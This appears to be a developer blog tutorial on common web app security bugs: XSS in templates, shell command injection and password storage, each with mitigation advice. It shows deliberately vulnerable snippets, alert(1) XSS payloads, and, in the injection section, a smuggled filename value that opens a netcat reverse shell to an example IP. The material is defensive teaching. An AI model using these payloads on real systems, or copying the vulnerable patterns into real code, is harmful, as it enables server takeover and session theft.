Common Web App Security Bugs and where to find them

#security

Last Updated:

This is meant as an introduction to the kinds of bugs you may find (or write), while building web apps. It’s not exhaustive by any means, as the land of security is vast, but here’s a few pitfalls you should be aware of if building websites and web apps!

I highly recommend checking out the OWASP Top 10 for a more comprehensive list of common security bugs.

Outdated Software

This probably goes without saying, but stay on-top of software updates for your systems. There’s no good reason to be running an old version of apache from ten years ago. New security issues are discovered all the time sometimes, very severe like heartbleed, or meltdown and spectre although most are not as bad. Still - patch your stuff!

On ubuntu, you can setup unattended upgrades to update things for you.

Cross-Site Scripting

Most web software is built using some form of a templating language or another. Some, are super primitive like mustache, tornado, or liquid. Some, like React or Vue, are a bit more advanced and run client-side. All of them have some way or another to introduce XSS bugs into your code, even if they try to prevent it.

Vue and React make this much more difficult, using methods like dangerouslySetInnerHTML and v-html to clearly indicate where dangerous code may lie. With other templating languages, you can do pretty much anything, and they don’t have many restrictions.

These examples depend on your templating language, and what characters they do (or don’t) escape. If your language encodes quote characters or angle brackets, some of these may not work.

This section is just to illustrate the kinds of exploits that exist. Simple tempalate languages like mustache, handlebars, etc. are more likely to be vulnerable to these kinds of attacks due to their lack of context awareness (they don’t know if they’re in a script tag or not, for example).

Example 1 - XSS inside script tags

DO NOT DO THIS! - most template engines do not escape all the characters needed to do this safely.

<script>
var weight = {{get_query_param('user_weight')}};
var name = "{{get_query_param('user_name')}}";
</script>

If we input anything beyond the expected number or string characters, we can execute code directly in the page on load. An example exploit would be loading the page with the parameter ?user_weight=55%3B%20alert(1)%3B. To break this down further, it decodes to 55; alert(1);, which is directly substituted into the script tag, and the page happily executes it. Same goes for the user_name field, we just need to pass it a valid string, so we start and end our xss exploit with a matching quote: ?user_name="; alert(1); var _ = "

This bug is classified as reflected XSS because the injected script is run as a trusted script and is injected via a parameter. An attacker could send carefully crafted links around via malicious social, email, or other techniques in order to get a user to execute it.

Example 2 - XSS via script attributes

DO NOT DO THIS! - This code is extremely dangerous. Most template languages like mustache and handlebars do not escape all the characters necessary to avoid escaping this:

// DO NOT DO THIS!
<button onclick="show_by_id({{post_id}})">

// OR THIS!
<button onclick="show_by_id('{{post_id}}')">

If you let users pick their post IDs or post_id is provided via a query parameter - this can very easily trigger some code in the background. Just set post_id to be equal to '); alert(1, and it’ll pop up an alert. It’s a variant on example 1. Depending on the context, we can execute things. The 1st example in the above code snippet assumes post_id is a number - which works, until it doesn’t and a user finds a way to insert a malicous ID. then, they can execute any code.

Example 3 - HTML templates without escaping

DO NOT DO THIS! - Avoid building HTML templates a strings, like this:

<div id="x"></div>
<script>
// This is incredibly dangerous when used with untrusted data
document.querySelector('#x').innerHTML = user.name
</script>

We need to make sure user.name is escaped, or use innerText instead. Better yet, If our application is complex we could use a more modern frontend framework to make dynamic content easier and take care of escaping.

Example 4 - XSS via attributes

If your template engine doesn’t escape quotes correctly, this could potentially lead to cross-site-scripting:

<img src="/images/{{foo}}">

If your templating language does not escape quote ", ', = or equals characters (some don’t) and you can add an onhover or other event listener by somehow setting foo to the string: img.jpg" onhover="alert(1)". This requires extra work, as the attacker must find a way to get their malicious string into your data store (maybe by allowing users to choose their filenames, or allowing users to specify any url for an uploaded file). But once it’s there, it’s there until the vulnerability is fixed. Anyone loading the page can potentially execute your malicious payload.

Once the user hovers over the image or triggers whatever event listener is set up, the attacker is off to the races. This class of vulnerability is a step beyond plain XSS, called Stored XSS. One user may create a malicious payload, hoping a user with elevated privileges triggers in order to elevate their access.

Additional Cautions

Even if the information rendered in the page is not directly from a user (e.g. it comes from your database), it is still crucial to escape it. If an attacker gets write access to the database, or you later allow users to edit a vulnerable field, they can inject their payload into the database and wait for someone to view the page. This could be used to steal session cookies, or perform other malicious actions.

Mitigation

Any and all user input should be treated as completely untrusted. If entering special characters in a form causes a scripting bug or crashes the page, there’s something very wrong. This is generally not acceptable in modern web apps, a user should be able to enter anything and the app should be able to handle it

If you must inject data into a page, do so in a way where it cannot be interpreted as a script. A way I tend to do this is to stringify it as JSON (which contains no executable code), and then running a JSON.parse() on the client-side to load it. This also is much faster than injecting raw JS, from the performance side, which is a plus1. In my web apps, this is a useful trick for injecting initial state variables into a page.

It’s important to know what is and isn’t safe with your tooling. Some templating languages escape things others don’t. At a minimum, the XSS attack will just break your webpage. At the worst, it’s code execution elsewhere in your system within a privileged context. See the more reading section below for links with more reading about all the ways XSS bugs can evade filters.

Final Recommendation: For interactive web apps, rather than building HTML strings or templating yourself, just use React, Vue, or any of the other fine frontend frameworks that handle these vulnerabilities and make dangerous things more obvious.

XSS Impact

XSS bugs can do a number of bad or scary things to your website. They include:

  • Sending the entire contents of the page to a remote server
  • Presenting a fake login form to capture credentials
  • Capturing mis-configured session cookies
  • Adding a keylogger to that session
  • Randomly and quietly inject malicious content as determined by a remote server
  • Run code within context of other user’s sessions via stored XSS
  • In a scripting context, only six characters are needed to execute arbitrary code (most of which are not usually escaped). Plenty of examples can be found on google. (i’ve avoided direct linking due to my website policy on profanity)

More Reading

Injection Vulnerabilities

Example 1: Python os.system()

Avoid sending user input from your web app into a shell or system command. This is generally unsafe.

If your software must execute a shell script or some other item, do so safely. For example, in python, this is an example of bad code, DO NOT DO THIS!:

name = get_query_param('filename')
os.system('rm "/srv/files/images/' + name + '"')

os.system runs it’s parameter as a shell script, so we could set the name to something like foo.jpg"; nc 192.168.13.37 4444 –e /bin/bash. This, causes netcat to open a reverse shell (giving the attacker direct shell access to your server.)

Even if this is protected with a login, we can potentially chain xss, or other vulnerabilities to get to this spot. Validate your inputs!

Mitigation

If you must run a binary, do so using something like subprocess in python which allows for better specification of a command and it’s arguments. And, if you haven’t caught onto this repeating theme in this post yet - validate your inputs!.

Even using subprocess, depending on what command you’re running and how you send untrusted data to it, an attacker could use a trusted binary to do their work. So, don’t just run bash -c in a subprocess with un-trusted inputs, or you’ll have a bad day.

More Reading

Bad Password Storage

I’ll make this simple:

Do’s & Dont’s

DO NOT:

  • store passwords in plain-text (storing passwords without hashing inside databases or other storage)
  • do not use any form of sha, md5, or other fast hashing algorithms.
  • expose hashes or plaintext passwords in logs or in the browser

Do:

  • use bcrypt, scrypt, or PBKDF2 with a suitable work factor
  • salt each password (the above solutions do this for you or require you to provide one)
  • choose secure passwords for databases
  • for services utilizing signed cookies — properly manage signing secrets
  • use constant time comparison functions to compare hashes
  • avoid side-channel attacks by executing a dummy password hash even if the user doesn’t exist

Goals

The goal here is to make it so nobody, except the user knows their password. We store the password in a hashed form in our database. A hash is a one-way function which cannot be reversed. On login, we hash their provided password and compare it with the stored hash value. Since hashes can’t easily be reversed, this is secure. Hash functions are deterministic, meaning they always output the same value.

If (hopefully never) your database gets breached, you want to make it as difficult as possible for an attacker to find valid passwords. Fast algorithms like sha or md5 are fast, meaning an attacker can check thousands of possible passwords a second. They can’t reverse the hash, but if they check possibilities very fast, they can perform a brute-force attack. By checking all combinations and potentially using a wordlist tailored to their specific target, they can potentially crack the majority of weak passwords in their database.

To prevent his, bcrypt, script and others are designed to be slow. They take a lot of compute time to execute, making it harder for attackers to find matches. By then, hopefully you’ve patched whatever vulnerability you had that got your database dumped, and forced a password reset for all your users.

While we’re on the topic - have sane password requirements. Encourage your users to use a password manager, with randomized passwords which are likely to never have their hashes cracked. Also, implement 2FA.

Additional Info - Common Misconfigurations

  • Prevent session stealing - set secure and httponly flags on cookies in order to keep scripts from reading them and prevent sending them in plaintext.
  • Configure content-security-policy headers to restrict code execution to your domains & disable eval().
  • Stop using public CDNs that can be compromised to serve malicious content.
  • Change default passwords to secure settings, and use SSH Keys for authentication instead of them.
  • In wordpress, lock down your install see my previous post here

Many of these are security measures to reduce what an attacker can do or obtain if another security bug is found. Practice defense-in-depth & layer your defenses, so a small bug doesn’t become a major site compromise.

Final words

Many of these security bugs are also usability bugs. Users shouldn’t have to remember not to enter special characters into your inputs to risk breaking things in mysterious ways, and you shouldn’t have to worry about what they can do.

Most of the bugs in this document require you to think about the potential for abuse you’re writing code. Don’t just make your code work - make your code work correctly and safely for any inputs it’s given.

As a final reminder:

  • Validate your inputs
  • Patch your dependencies
  • Safely store passwords
  • Practice Defense In Depth

Footnotes

  1. https://v8.dev/blog/cost-of-javascript-2019#json

Change Log

  • 1/11/2021 - Initial Revision
  • 4/12/2024 - Page updates for clarity and fixes for new site build system

Found a typo or technical problem? file an issue!